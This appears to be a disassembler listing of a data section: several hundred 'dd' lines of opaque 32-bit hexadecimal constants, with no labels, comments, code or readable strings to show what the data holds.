		dd 1C94D8DAh, 80584174h, 0B51F70C9h, 0B677BE98h, 9D46F700h
		dd 2111E6C7h, 32B7003Ch, 5BFE1BBBh, 6F015FB2h, 572CC9F8h
		dd 1D413AFh, 58710066h,	2B91C334h, 4A00627Dh, 395E9E16h
		dd 153D10Bh, 0BB749556h, 0D051C2EEh, 5C0171A1h,	0A417D52Eh
		dd 208055D9h, 0EB2AFC9Ah, 820156F1h, 8CC1DF04h,	2EECB7CDh
		dd 0CEDD01FEh, 0B4301175h, 0C0A9F56Fh, 7A00CBC8h, 2E86D9A5h
		dd 0A448B8h, 8127311Ah,	0A62BACCDh, 694A4D00h, 0FA3A5C32h
		dd 98FF0034h, 686B1D64h, 700B044h, 48704E67h, 1CC97B62h
		dd 39BAE72h, 9AC81FE2h,	5BB068BBh, 28012537h, 1107CC74h
		dd 0CECB022h, 0A6BC0035h, 83F2F423h, 3E000F8Eh,	0B568FF18h
		dd 0E3397h, 0D11B75F5h,	9BCE296Dh, 923B1400h, 0C6E399Ch
		dd 137D00C8h, 0EC993097h, 7301CABAh, 3E8887DCh,	5930D454h
		dd 0A3AA0070h, 0EAF3DB4Bh, 0B0772F9Dh, 0A5D38100h, 899B321Fh
		dd 4EFB2C41h, 685600D3h, 5490F384h, 0A8C56A00h,	3E25DC9Dh
		dd 0A5FCA05Ah, 3BE40304h, 808997A9h, 4EC073AAh,	0B70028D3h
		dd 88DF3ABEh, 15F3976h,	45986A3Fh, 0D06673B3h, 0F24C4D3Eh
		dd 3BCC0062h, 6DFBB11Dh, 0B4390160h, 5AA4B2Eh, 0E3F880ECh
		dd 692AC001h, 0B61230ADh, 28848928h, 8AC0C00h, 91544EE9h
		dd 17EF00B2h, 8020DC86h, 36683E2Eh, 66009640h, 99010D1Ah
		dd 6C9E18BCh, 286DE04Dh, 3CE1EE00h, 22DD153Fh, 559504E5h
		dd 807026A9h, 0AD519D80h, 35E70803h, 98677DCCh,	6ECD3Ah
		dd 0C5D7817Ch, 3CCA75FEh, 0A4EEC00h, 34F76FC0h,	7AFDFE85h
		dd 9426000Eh, 0CD374D66h, 9CA0809Fh, 0CA019307h, 0D4208785h
		dd 7820C5D2h, 79DD00F9h, 69D40C2h, 0FD061B6Fh, 0C62A4B63h
		dd 67CB0420h, 90771932h, 351ABC90h, 0D03A6A1Fh,	0A2845081h
		dd 0B8807863h, 95EF92DEh, 731C43C9h, 18375EA5h,	0A27D0AE0h
		dd 4BB13CFAh, 8F462680h, 723D32AAh, 0A6DA4C00h,	2AC75137h
		dd 8A040020h, 0EE8463B3h, 6B1DB502h, 98470F3Fh,	36F168EFh
		dd 45E4732Ch, 0C1710075h, 33A0947Ch, 0E8C7D232h, 0DCF32059h
		dd 0F011008Ch, 0B40A9593h, 427E5CE2h, 0CE052113h, 0BE207A18h
		dd 48D000EDh, 0C79C85A9h, 0F8582A8Fh, 8D5F005Bh, 23A33EF1h
		dd 0F99D03E8h, 0DC1715B6h, 25D802E0h, 0D6FA6B00h, 4EC1080Fh
		dd 419000Bh, 6F83B0ECh,	0A512C65Dh, 800BC03h, 191BC728h
		dd 2680034Ch, 0D5106318h, 0E47D7991h, 6503F639h, 53F28834h
		dd 0B9DAF852h, 43B201C1h, 5405C711h, 0F06C4E6h,	4CBDFF00h
		dd 3B944858h, 30663881h, 9CE0A580h, 0E204C201h,	9100B076h
		dd 0D01A17E4h, 4DD4564h, 0B81FBF08h, 2EDD8016h,	0FC077C68h
		dd 1794014Eh, 7955C700h, 2B4B0077h, 7FFA0AFEh, 4000BFEEh
		dd 2360273Ch, 0FD8EDF3h, 868996ABh, 0E65D8CC0h,	0A600AC4Dh
		dd 618DEF82h, 0A713D4h,	0E0F09077h, 978E7289h, 0A8864100h
		dd 7F56EF32h, 9D4A00A6h, 21E544A4h, 0A55CA731h,	4CF80039h
		dd 0ED286589h, 10A30F71h, 8700FAD2h, 0A27B7C57h, 3CB64800h
		dd 0F92CD6ABh, 0BA9D269Fh, 1441DF4h, 0F7457D40h, 0FD143495h
		dd 0B8AC3Dh, 3A97C557h,	31F40Ch, 91DC9E82h, 0F1B3CC7Ah
		dd 26BBB63Dh, 0B900732Ah, 743DC8A4h, 58DE60D6h,	67149579h
		dd 323C200h, 7BC932E0h,	7CA90761h, 0B0926239h, 28E50255h
		dd 0A120CC00h, 388FEADFh, 82C61C88h, 6D5E00CEh,	0A3A90C61h
		dd 0A1937607h, 98BE8A5Ah, 0F1BCD8h, 1CCE80EAh, 91DF4FEEh
		dd 64534400h, 4B3F58F2h, 632C0009h, 0E135E9ACh,	1D095A71h
		dd 2ACCAEh, 0B88F872Ch,	0FA02269Ch, 7E658008h, 0F77138C6h
		dd 2724FF1Dh, 1404AB4Ch
		dd 31DC0387h, 0A0740884h, 0CFD3CEA8h, 0DF0D8F00h, 0E3354EABh
		dd 1575A9h, 0A85443DCh,	65AFD36h, 0A041CC05h, 8C00BCDAh
		dd 76B3F97Dh, 0DBF60064h, 0D34AC203h, 0BB142A14h, 3AC0C0A9h
		dd 37C78011h, 68639C47h, 0C299008Ch, 0AEE87F8Dh, 250001D6h
		dd 0E4F249D7h, 0E297D840h, 80DFA3CBh, 13C0C5h, 6A56DB0Bh
		dd 0EE3F358h, 1100217Fh, 2A19FAECh, 989B7D9Ch, 75960930h
		dd 5080D4F3h, 0ED3C7798h, 0D78F4B1Fh, 0F08D2073h, 0DE1D25h
		dd 345B2919h, 24AEA949h, 8032626h, 0C423C900h, 1DDCCFh
		dd 0EC679450h, 3A022F07h, 0B89F8A3Eh, 71938114h, 70A0460Ch
		dd 87E7D0h, 2D790D59h, 47A78ACFh, 0AC510560h, 95E944h
		dd 9FEFE2ECh, 326ED340h, 79CB4E00h, 82BF8C35h, 0AA74BEh
		dd 7E5D379Dh, 4E2A0FB2h, 47CD40C0h, 0CC0FBE8h, 68710351h
		dd 0B700E7C8h, 64B008FDh, 28D924h, 192A1C63h, 0C135E370h
		dd 80B8DB3Ch, 2C84A082h, 934ABAh, 0AEFB30A4h, 0F0ED030Ah
		dd 0E20C0500h, 339A7CB4h, 940F01F3h, 0A2DC56D1h, 15F130B0h
		dd 6AD98000h, 0DAEE469h, 0E8E75F9h, 0FC5A7402h,	0DB2BAF00h
		dd 2A00DE0Ah, 0EA04B2A2h, 7A726527h, 0ACC200F3h, 9F1C2CD3h
		dd 0AA0ED751h, 0C77F88EEh, 0F4005B46h, 0C2E405h, 5F3B99ECh
		dd 49220DD6h, 0AE00787Ah, 0E19AF4EFh, 7BF135F2h, 260CF8FDh
		dd 144F072h, 0C6A76CA3h, 4A5A01F3h, 73B832C4h, 50DA0FA1h
		dd 0C9C03773h, 6B103095h, 0F4343800h, 0CA264D3Ch, 0D2023D6Ch
		dd 28238E80h, 0C90757CBh, 29706700h, 0EE6334DFh, 0DD9080F0h
		dd 8400807Dh, 69578DFCh, 132AADD8h, 5E469DD4h, 808F0030h
		dd 0CED2B789h, 0F8982426h, 0DC12C897h, 0D940F81Dh, 8CEBB7C0h
		dd 0ECAA7039h, 5621C0AFh, 9DDD9ABDh, 0A0BEF813h, 0A74B6441h
		dd 0BCC43446h, 158A0E0Fh, 3120AEFDh, 11838769h,	38C13D3Bh
		dd 50FF0E07h, 35802186h, 1C207819h, 47AECC3h, 0E62AE053h
		dd 0CAA0D04Fh, 75006396h, 1CB255F5h, 53E4B1h, 1931628Ch
		dd 0FA618318h, 0D8CFE898h, 0DC78801Ah, 0E0A7B099h, 0AC90F2h
		dd 6DCACD26h, 0D08E47F7h, 7B701A60h, 1F651697h,	0C9033BB8h
		dd 8D839282h, 20001B15h, 1695F1BFh, 1BD620A3h, 18187EDCh
		dd 5B76DDE8h, 6601B400h, 1727CE73h, 955C008Dh, 0B82E2D4Dh
		dd 0EC00D9A9h, 0F7B5B690h, 1879121Bh, 9034495Fh, 5213C430h
		dd 0F440091Eh, 90A60C97h, 67B9008Ch, 0D32C5A34h, 5E1F7C11h
		dd 568276A9h, 607D0194h, 2614A198h, 0D7CDE6h, 63EB5C5Dh
		dd 3324A5D8h, 0E90054AAh, 0C0E1BD91h, 0A9520099h, 0FF799C98h
		dd 0DB04AB14h, 4B1388B4h, 6DE7BCC0h, 0BC2F180Fh, 741029ACh
		dd 505E7500h, 1768C80Eh, 7EC51C4Bh, 1F3380B9h, 0CE996C04h
		dd 0CB90D500h, 0DE0DC23Bh, 8CA90071h, 762CE95Ch, 2601183Fh
		dd 0C0EA1130h, 32C12450h, 3F97AF0h, 0FDBD3487h,	0E6B8C4FEh
		dd 0F3003BD5h, 32970D49h, 0FD197571h, 7D0018BBh, 98470F5Ah
		dd 410039E4h, 0A5FA641Fh, 0C2824Ah, 0DB96B3E8h,	408F8A59h
		dd 0AC540F03h, 0F8A8F29Bh, 73EBCDh, 1D9E57D8h, 6D1663C5h
		dd 3B340E00h, 75C74DBCh, 29EC0069h, 0D5FDB1ABh,	0ACA89BC4h
		dd 0C800E8B0h, 8D68F925h, 348B90h, 0B90CAC02h, 4B8EE5BCh
		dd 8051643Dh, 2ED7D94Fh, 9C4DA6h, 0C2E797DDh, 0E3491EDAh
		dd 85BA4200h, 1576C45Fh, 77C8C08Fh, 0D73CFD2Eh,	670CB073h
		dd 80B6437Fh, 607318BBh, 58552901h, 876B8513h, 47ABB000h
		dd 3BF0FE54h, 3F96048h,	3AA899E5h, 3000832Ah, 132C2790h
		dd 507A03h, 9BA5B95Ch, 1C4C6A65h, 17044A00h, 43A3483Bh
		dd 0AA890015h, 27572E32h, 7003A75h, 1B2F7EFCh, 1E485C39h
		dd 0C0DBF165h, 5F2D2CECh, 0A126C5FBh, 4E005CDAh, 146CC98Bh
		dd 4FFE0705h, 30813667h, 0D0EF3068h, 6538C200h,	23B16F09h
		dd 0A640771h, 2028F325h, 22B75C6h, 833D0F3Ch, 1A9C6CE7h
		dd 0E480309h, 409A6ADFh, 0E2005978h, 195BA56Dh,	0F049F8h
		dd 0C8CC7CD9h, 0CE120A9Fh, 90DA2F30h, 1F825BF6h, 0C1AA6F39h
		dd 7C08992h, 984DF04Fh,	37A15A02h, 8130B88Bh, 39835518h
		dd 0B3D013D3h, 0B65807E5h, 0A9D940C5h, 0FB000334h, 8795D1A2h
		dd 39937133h, 0F8075F7Fh, 60945D22h, 25852B8Ah,	267E97h
		dd 55DC67ACh, 5003726Ah, 3B5A966h, 0C9C391F8h, 0CD0068BCh
		dd 0D23A2CBCh, 97180EDCh, 6990B447h, 0C0C77FCAh, 5F819380h
		dd 7A00210Dh, 36E755E9h, 11AB1DEh, 0C8A9F6A8h, 0DF9A7091h
		dd 0B0D8C800h, 2CE6CD89h, 6DED07FAh, 0C0FF0BB1h, 0E1189A74h
		dd 56815700h, 470DBE34h, 0BE5009Eh, 0F9ACD0F2h,	910775F6h
		dd 631B703Ch, 80A98FC3h, 0DF50E7h, 0AB7F6077h, 0D6289878h
		dd 80C0AF00h, 0E74AD2F6h, 23040007h, 424F1FE0h,	0FA0B1E58h
		dd 0B0E5B4h, 241BE2B3h,	0FB6600D6h, 0A58F9EB1h,	5E0057DCh
		dd 79869B01h, 626BE4h, 0EB88F539h, 3A251003h, 87D70E38h
		dd 2904051Ch, 3DC954D0h, 0F4580A12h, 7E2F965h, 0C02B8601h
		dd 0CF2E15C5h, 1C53DB02h, 0E0F97EF7h, 0E1FEE3h,	63F8DD3Ah
		dd 0B935B305h, 1A113Bh,	0FFE9BD2Eh, 2ED1244h, 0F72C9751h
		dd 44B6783h, 4732FC88h,	0E3E948h, 2427CDC5h, 3880F187h
		dd 3CBB126Fh, 56F5FA80h, 31CDD4A8h, 0C4D5B328h,	0EF5D3307h
		dd 76C20EEBh, 0F1077D70h, 87258099h, 4E003138h,	795F8E85h
		dd 1CBCA4Dh, 0BA3B94D6h, 0E006B875h, 0AC0028B7h, 64482AF2h
		dd 3FF32B25h, 4F850FEEh, 80706C71h, 8722C046h, 64CE0824h
		dd 0AA9C5480h, 92E62Bh,	845BBE97h, 0E40DFA37h, 0DF0ACD18h
		dd 4926C729h, 40121803h, 0AEE440E9h, 4D0F89B3h,	0A900D1FCh
		dd 0CC228607h, 122110EFh, 0C15C165Ah, 60A7E1E4h, 0B40C30E2h
		dd 297E071Fh, 769A2C9Dh, 1AC5002Eh, 4B85F0F7h, 2032878h
		dd 0B488EFCDh, 2295A09Ah, 0F7160F4Dh, 5840DC7Fh, 0B394F093h
		dd 72BBA01Ch, 426A8A0Eh, 6017E00Ah, 0F1E1DBh, 45151C99h
		dd 4B84A587h, 0D5F8F507h, 2DC072D3h, 18ECC513h,	60DE743Ah
		dd 0C9745ECCh, 0F7B05Ch, 0B6DDD09Ch, 5F48A8h, 0A66E934Eh
		dd 0B72A2D1Bh, 56D13000h, 5B2E58DDh, 0A08819E8h, 0C42CA993h
		dd 0A6FE0F51h, 77BDFB00h, 0BE081EE9h, 67D7008Dh, 0B293A16Eh
		dd 99606AC1h, 34C6EC78h, 7140C1CBh, 0E8E6CAEEh,	23120118h
		dd 350062DAh, 0A4245AA2h, 5C6D0F8Eh, 0FCE013ACh, 0B88C774Bh
		dd 2C110B00h, 5ABAA410h, 29FE00D7h, 93823A9Dh, 1700627Ch
		dd 772E3F0Ah, 0E3DE398h, 0A7EC4A88h, 58A1B9C6h,	0DA03D4E0h
		dd 0AA92D8E4h, 0C5AE0D0h, 2408CFEEh, 0F1609780h, 50007D54h
		dd 134936FEh, 18C68A38h, 29C3A471h, 0F50137A6h,	78D441CAh
		dd 1980F20Ch, 73CCB7ECh, 7A0ED56Dh, 80951443h, 118AD929h
		dd 60B9C017h, 0F382F26Ch, 10050B02h, 5D6AAF5Eh,	0A6F8B060h
		dd 1A95E700h, 6EFEAD76h, 1490285h, 9BE1D3C7h, 961E9CC0h
		dd 0EE05FF00h, 5B113A64h, 38A103F1h, 0D3687129h, 9E8800BFh
		dd 340CE928h, 0F80451F8h, 0CF760CE5h, 8F892312h, 0E31D7BB0h
		dd 3200E981h, 5B25075Fh, 0AC2F2A57h, 93B607C4h,	0E0A71460h
		dd 97382006h, 6B0E1000h, 0F15204E4h, 827F07ADh,	1BDA123Ah
		dd 31A62101h, 0DC01C04Ch, 0EE1A3618h, 0E8A9B619h, 81276028h
		dd 82234329h, 7298F900h, 0EE590E5Dh, 0D86D0076h, 8D4F86Ch
		dd 69006371h, 0FE9C6B80h, 0CBD382Ah, 2FACA817h,	7001610h
		dd 74A105DCh, 0E27EE1Bh
		dd 0A7F3D996h, 0A0AA1858h, 0AE385D02h, 0C118D739h, 2083CB13h
		dd 0D9908534h, 0BD861818h, 2E351531h, 1EAE7BA5h, 9A8A405Ah
		dd 0F57F959Dh, 399251C0h, 0E577D87h, 84EDDDB0h,	0E2B9C160h
		dd 0A6607FEFh, 3D910849h, 0E9D43CD8h, 57161806h, 0A00078D6h
		dd 0DD752A1Ch, 0BA01B2h, 8AEDFC8Dh, 4477E287h, 9F79A800h
		dd 3F4B9DA5h, 0CC5700FEh, 991D124Ah, 0BE77B206h, 46971F00h
		dd 1439286Ch, 42F93B9Dh, 0CFE14B02h, 0D4C28543h, 0D693F940h
		dd 6CCB8A00h, 15BA8BE0h, 51B31E2Ch, 403289C4h, 4156FF82h
		dd 241504B5h, 40EED20h,	507700FEh, 686EE91Bh, 19656031h
		dd 0DC2A8894h, 0B0EAEE78h, 75D72F00h, 0DEC509F7h, 2BED2A31h
		dd 3A7679ECh, 0A700A2D9h, 0D697665Eh, 6901DF17h, 27FB0CD5h
		dd 0A3DC0540h, 0AFC50089h, 6FF8439Bh, 0EAFC50B5h, 298B9608h
		dd 0E0910061h, 7D262ED9h, 0C5A97400h, 0FB432472h, 68BB00D0h
		dd 0F141F877h, 55027DA2h, 7415033Dh, 90209C88h,	2050FDDCh
		dd 54D665A1h, 0D618028h, 1B45958Fh, 88C0D611h, 600D901h
		dd 0D2541562h, 5C8E6F81h, 0CD0382A8h, 2DF14C83h, 1A5303Bh
		dd 1B815D54h, 9C51678Ch, 8C5725CAh, 8BDD2DE0h, 42FA00B4h
		dd 0DBC7629Ch, 4702667Bh, 0CC0F6410h, 31B8A19Eh, 409F5592h
		dd 0BEE410Ch, 301086E0h, 0D1007185h, 0F45B9A5h,	0C118089h
		dd 0D3C27599h, 1EF84448h, 0A5A0C1C0h, 0F9A121h,	7C41C7EDh
		dd 84792954h, 0F2DF405h, 0FC4FFAC6h, 0D07FE222h, 623C802Fh
		dd 0ED49C9h, 0C7741FC5h, 72DFFA4Fh, 0A7645102h,	262988Ah
		dd 0CB04D992h, 180088h,	7702C13Fh, 38488B0Eh, 0B6274F07h
		dd 0E19CBD66h, 0D41200FFh, 13FD0363h, 0BF0146F5h, 0FCDA16CEh
		dd 0D84010ADh, 54741B77h, 58FBA464h, 0E0181DEh,	2F01B163h
		dd 83EC5579h, 59002AF1h, 0B97C3E2Dh, 4737E1h, 0C3FEB34Eh
		dd 0F878F2CCh, 0FB8F5B00h, 46BB66BCh, 31653B39h, 7E3A6160h
		dd 85034BC0h, 10454E6Ch, 0D20C774h, 273C454h, 19CE5C5Dh
		dd 0B0909265h, 0A1C00FC2h, 460E89D2h, 7ACE1EA9h, 0A362064Ah
		dd 6116294Ch, 200F1627h, 449286EAh, 8F181819h, 0D664815Fh
		dd 0A2008C99h, 0D2FBC875h, 467E619h, 9B8433C1h,	0DF2B2043h
		dd 4531C6B7h, 0AC00191Ah, 4E85943Bh, 76E8388Ch,	3D280702h
		dd 0CD6F5Eh, 91A0AFEAh,	0FAE53502h, 41A18127h, 43131718h
		dd 0E5E0209Ah, 20E770Eh, 0A79D8Ch, 0A3E94498h, 18FF00B7h
		dd 0EBE7C5C9h, 0B03B65EDh, 0B2358549h, 5005A363h, 0DC209A18h
		dd 0E2717FEEh, 439C2653h, 5A6D6028h, 0E6005BE1h, 71B09906h
		dd 0AF73F1h, 8BB6FE6Eh,	0A30F33E0h, 0A2127D0Dh,	0D80C51E7h
		dd 0BDDA00E3h, 0D6C581F2h, 4F014D45h, 57DBEF62h, 0DC9EAC8h
		dd 0BD5E9050h, 6270076h, 0B34CD7FAh, 0FCEBD831h, 2302C2E1h
		dd 0FC759D6Eh, 0CBB883B5h, 92393A11h, 0F71DE200h, 0E1347506h
		dd 562120C7h, 0CC18B240h, 0C8FC1863h, 2B73110h,	87002EF6h
		dd 0BD81384Dh, 1F2FB942h, 9FBA4D3h, 58201A05h, 60503CC5h
		dd 0FEAC8F0Eh, 0CB79A3DDh, 515A9061h, 17DB02ABh, 5F9791E5h
		dd 791B9860h, 0CAF96967h, 0FBF718Ch, 55154FDDh,	66B54BE0h
		dd 2E03DF60h, 3F59A75Fh, 42E4D0DCh, 20C101A5h, 0A118239Fh
		dd 3C0023BEh, 9763805Ch, 0C8765DDAh, 4D710138h,	0E731BEC4h
		dd 9469BEF9h, 80BCAB1Bh, 78E5BD5Dh, 0CBDD0536h,	2F38943h
		dd 188F658Ch, 74740044h, 98DD4388h, 5C123114h, 1122AA29h
		dd 9810F3C2h, 3B2649CCh, 43E3144Ch, 131280B5h, 0CA3F0074h
		dd 521BE614h, 9101EB1Ch, 3E5EB766h, 151018BDh, 27006BE7h
		dd 5DA332E8h, 1268C59Bh, 6CC7C1h, 0DEFD3540h, 4407E00Ah
		dd 0B319603Ch, 872AFCF2h, 792CBDB4h, 0ED372771h, 0E6001CF0h
		dd 82455D35h, 0AABCFC1h, 0E4CE3C73h, 687EC2D0h,	59BF4320h
		dd 0EA013E8Ah, 0C4518D37h, 0A2B0C342h, 0C888B876h, 4859FA8Dh
		dd 55120C23h, 3D340A18h, 0BD4307BCh, 371E00BFh,	0E0622B46h
		dd 4CDD6349h, 991F7F48h, 656E0F48h, 0C62F1500h,	5C002DBAh
		dd 3DED3955h, 0A8B3C8E9h, 36710E8h, 4B6D9B3Eh, 5C8869C5h
		dd 0D93CFDB9h, 0F02A000Fh, 0A84D409Ah, 0FAD8144Eh, 0F581D845h
		dd 0E8A4BBB6h, 6F0AB8D5h, 0A0B4F783h, 0C440E6C5h, 0C2445C7Ah
		dd 52B00060h, 0EFF7DCD8h, 0CD00389Eh, 0ACF15E9h, 918D4D7Eh
		dd 643094F4h, 0C9FCB300h, 5317C821h, 393DBD01h,	76238FCBh
		dd 88141024h, 21B0CA0Eh, 0AAD2DE00h, 0E8A8054Dh, 0C9A0221h
		dd 9EB4C1A6h, 0E62B7C40h, 8898E14Ch, 46808010h,	44CC1699h
		dd 8F079100h, 52D0C630h, 0B1E6E569h, 842028B4h,	6462448Ch
		dd 0D5006CB8h, 8B1D6C7Ch, 1207DE44h, 8F57FE8h, 0EE9664D8h
		dd 0C2EC830h, 13B0368h,	1D0EC3D3h, 5B7BC08Ch, 0A4A6B669h
		dd 0CE80B14Dh, 45151C4h, 376A074h, 0F93FB65h, 212C18C7h
		dd 0B0402831h, 4C207F70h, 0D02A0072h, 0C40E284h, 6B2FDFABh
		dd 5C001729h, 70D74F3Dh, 9A4C61D8h, 0D2950E48h,	0BD7A968h
		dd 4C910C14h, 4B398053h, 9ED45838h, 0D1250081h,	1F55B4A7h
		dd 530E5E5Ah, 4CDDBD3Fh, 481C99A1h, 731C7744h, 21BDBA39h
		dd 6E85CC49h, 520C8CCh,	0D503ABE0h, 2D81DBE3h, 4DBDA067h
		dd 68EC48F9h, 83C8226h,	303BCEF5h, 97313926h, 0E3801FAAh
		dd 51FAC14Bh, 0DC2A36D9h, 8806A6EAh, 0BA7DC174h, 98A04C70h
		dd 4040BD26h, 1B093A15h, 22D01748h, 6E60133Eh, 0ABB820CDh
		dd 0E9001325h, 12C3971Ah, 0B7966BDh, 17CEA5BEh,	4C5AAC31h
		dd 0D3030DC4h, 0DED60C43h, 8829D058h, 2060B8CCh, 814D2869h
		dd 408FC890h, 0DB57961h, 7B131BE2h, 580E4399h, 9C8FE366h
		dd 6498167Fh, 0C2E022A3h, 29398C44h, 99BD07A6h,	2C430C34h
		dd 0DA5FF872h, 260893E3h, 0AEBB60A8h, 91003F96h, 983BA91Fh
		dd 121A8519h, 30019B15h, 0CA0F5284h, 0C6BD4891h, 9ACCB000h
		dd 0F441D85h, 141A9D28h, 6369E361h, 88676581h, 448A7305h
		dd 2BD03179h, 18AC62EBh, 5BE11D45h, 0BBFC014Bh,	9EF53E55h
		dd 76802090h, 43317719h, 9CF91FD8h, 219318DAh, 0A4CD0C00h
		dd 0C9E0FE42h, 22B90029h, 6860A36Bh, 0BD2AA0F9h, 80019C30h
		dd 3EFE2033h, 0B0FB9B32h, 0E6ACC3DEh, 0A07409DFh, 0C0B8C99Eh
		dd 10F60F4Dh, 58E474A1h, 0FE181888h, 0BDC11C45h, 0E7CB004Fh
		dd 33879617h, 0FA4B110Bh, 0E0039CB8h, 150AA795h, 0FFA400B5h
		dd 4487929Eh, 18404896h, 80915Ah, 53AF8B96h, 7C6C3D47h
		dd 88F82B05h, 68918285h, 4420D7E8h, 6B78221Bh, 806CCA5Ch
		dd 0E060023Fh, 3C98488Bh, 21B8CBCEh, 0B00A7F5h,	99541CDAh
		dd 0F2748A7Fh, 181096BCh, 72055169h, 21646326h,	9F00AA1Eh
		dd 0E0919415h, 0EC325011h, 0F9992412h, 60A097B0h, 0E22B5A3Ch
		dd 0F713E63h, 0A04E85C4h, 13DE4018h, 17AC9889h,	1F29660h
		dd 0AF3F7738h, 12D86723h, 10C9931Bh, 50182058h,	9B30C9h
		dd 0E5943264h, 0C8D8EB59h, 43A39F13h, 0FEDDE81Fh, 22209025h
		dd 0A6E73A3Bh, 0AEC32C00h, 0B82DD26Ch, 789461Ch, 0BA04C7Eh
		dd 184117B5h, 0C090E5E8h, 0D2786090h, 0C491B81Bh, 0BCA86F01h
		dd 77C46822h, 0A5E02C66h, 749C096Eh, 44469402h,	4A07846Ch
		dd 9FC2AC45h, 0D20DDE60h, 74FA5252h, 717F0977h,	0A84C578Dh
		dd 0BCDA3600h, 0AF2A479Eh, 9A7A0178h, 0AEDB2634h, 3EA8208Dh
		dd 5C307689h, 9E230AF2h, 49C43A1h, 480BB42h, 8CCCF5ECh
		dd 184DB066h, 0F040FA62h
		dd 0DF52E831h, 6F0D48DCh, 0C0908981h, 0B3051Ch,	0E0E4EA57h
		dd 24F24CC2h, 0C14AA707h, 7CE0C5C3h, 48E3715Ah,	1310D8EFh
		dd 28105768h, 10E9E083h, 9BC73D6h, 2943B7A9h, 0F7C52C83h
		dd 4C1CA11Ch, 0E33C1081h, 4828C855h, 0DC62898h,	42B6440h
		dd 4BA2470Eh, 85149843h, 0E0B004B0h, 407F9D10h,	0AC178614h
		dd 106025CEh, 0DBC7592Ah, 0C22B1D00h, 4349975Eh, 0E91713B1h
		dd 0B80A1591h, 55922276h, 301044h, 0A367F29h, 8C62D23Dh
		dd 864FF11Fh, 788CA193h, 0B2B401EAh, 961AC1C4h,	0C49C2CF9h
		dd 988CDF2Bh, 84FE749Dh, 0DF889C93h, 0CB81853Dh, 57FCCCEAh
		dd 54047403h, 90849FE7h, 1ED34FFCh, 992A6Dh, 6C9872EDh
		dd 0F894CD45h, 30C25865h, 0C278200Dh, 0F4906549h, 0F707740Bh
		dd 0C808086Bh, 0F1E2BD67h, 48884105h, 93145C32h, 0D888C8Fh
		dd 0C0DBE680h, 0EEEC719h, 3F1E4CC4h, 67AEE920h,	523F2A45h
		dd 0A279E0BDh, 14A457F6h, 0C5ECE92Eh, 0F4281C14h, 249C0B4Eh
		dd 0CE188821h, 66618EBAh, 9F21605Fh, 3E9707h, 0E5AAF13Ah
		dd 0D4751CE4h, 38EC1916h, 0C465280Ah, 0B21BD1C1h, 0CA290022h
		dd 9D4C00BCh, 0C5EC471h, 823DEA00h, 3C583138h, 0B52826EDh
		dd 401694Ch, 40B80AAEh,	3673AB60h, 39BDF001h, 0A0D4C0F9h
		dd 648078AEh, 0C2CC8075h, 0BA0237FDh, 1986573Bh, 20D2C9h
		dd 0EF49E976h, 41B42636h, 0F0CA9A28h, 76C2744h,	4DDE986Eh
		dd 91E881D5h, 7264754Eh, 3430098h, 268AE5DEh, 6378015Bh
		dd 5744AE73h, 83F428C2h, 0C0519A02h, 3CB1F958h,	0D0C915E7h
		dd 81A08484h, 81CC1B0h,	16F0B1E2h, 158205Eh, 0FC000C1Ah
		dd 70F0A228h, 3B0F98DEh, 520923DDh, 808F6BE6h, 0C4841F7Fh
		dd 888C1B49h, 5C91CAC4h, 0A9BBF700h, 39ACEA25h,	0A100073Ch
		dd 65EE8B4Fh, 510649F0h, 28CC7C8Ah, 61020231h, 78DED7DDh
		dd 124834ECh, 0EA584037h, 82039491h, 86D751Bh, 4AA464C1h
		dd 0C6196189h, 1B10FC4h, 21784594h, 9B0309E2h, 0F532BA82h
		dd 29228096h, 8FEA0972h, 9010A4E0h, 79C3169Eh, 4BDD4618h
		dd 0D80C24E8h, 454F4C00h, 0A98AC820h, 0FE7411h,	0B3911938h
		dd 0CD83531Dh, 987F0D01h, 0DE081BCBh, 0E33BFCh,	0E61873BDh
		dd 0E196FC19h, 3DAC3017h, 871F2008h, 308C6503h,	25BD9E2Ch
		dd 0DD0C7A13h, 3DEB3471h, 739E6E11h, 0D6440310h, 0E9E41BE9h
		dd 442817AEh, 4C947E27h, 3F049AB0h, 23152DFBh, 0CDC690C1h
		dd 310B7838h, 44312BECh, 0B9F2C0A2h, 0A55F3B3Bh, 84A41919h
		dd 0D3AB9840h, 557E202Fh, 0F9627D00h, 65C4C034h, 994B0A0h
		dd 96863828h, 0F81BAC42h, 16502C1h, 41809131h, 7A9761DBh
		dd 3F3A4C60h, 0C41A80FDh, 0EA22169Fh, 1F861314h, 444C9885h
		dd 7ECD88h, 343FD682h, 9E95B65Ch, 0B430B226h, 2C004517h
		dd 4CBF5E48h, 7044587Bh, 23A29C04h, 0CF867318h,	3B5D641h
		dd 981C7870h, 60DC53F9h, 440C604Ah, 6CFEE2ABh, 1065B8A8h
		dd 0BF3073Dh, 0A8AFE47Ch, 2D609448h, 0BBC14Eh, 759C6F58h
		dd 104763E7h, 8A4DE98h,	69846148h, 0BAB48251h, 948EE73h
		dd 2BA46653h, 3C94ECE4h, 0E4BACA8Ah, 9F0B6A81h,	93F0CBE6h
		dd 0AF090047h, 8F1937EBh, 0F400D271h, 0DED5C5D4h, 48D92852h
		dd 9B311CBDh, 6D5E4349h, 0CC570060h, 71D6DD70h,	667D13BBh
		dd 0C889004Eh, 10EE457Fh, 3259982Dh, 90FCCE3Ch,	8C28B94Ch
		dd 0EA30A496h, 22F4F85Ch, 0BA5A0027h, 0C8EC977Bh, 0EF001AE6h
		dd 421F76A3h, 27D4C12Ah, 2C20CC5Ch, 1881A9F6h, 0F3916B1Ch
		dd 6E65E200h, 7B520A3Bh, 1BBC168Bh, 0D789178h, 389064FDh
		dd 302C7689h, 85C987h, 9B5D24EDh, 52E07703h, 0F8BCFAA3h
		dd 74887D95h, 3DEC0B57h, 4C39E6DCh, 6CCC60EAh, 5BE0E894h
		dd 1082F49h, 0E7EC38BEh, 0F81ABBA7h, 8124D8BDh,	0CA1E4CC0h
		dd 0E053902Eh, 4BB2E68Dh, 73B0405Eh, 20A32D0Fh,	0FC1FFF38h
		dd 385A852Dh, 8410A4E0h, 0EFD90560h, 1D0E0D5Fh,	533474Eh
		dd 0E01EAAF4h, 45449178h, 0E9311BB5h, 15DBB9B8h, 0F0461901h
		dd 7C718655h, 754AD4h, 0FB97484Eh, 0A49C89Ch, 4EF4A8A3h
		dd 0C0C89255h, 9B0F383Dh, 99A0F448h, 0B80EE261h, 0E0E7AE66h
		dd 0EE37225Bh, 0DC4F18B3h, 94F5A8D3h, 0AD2E87E2h, 18E5B8A6h
		dd 0C4BBA00Eh, 54C0CD38h, 0F3F023AEh, 0C345BF2h, 9F20A40Bh
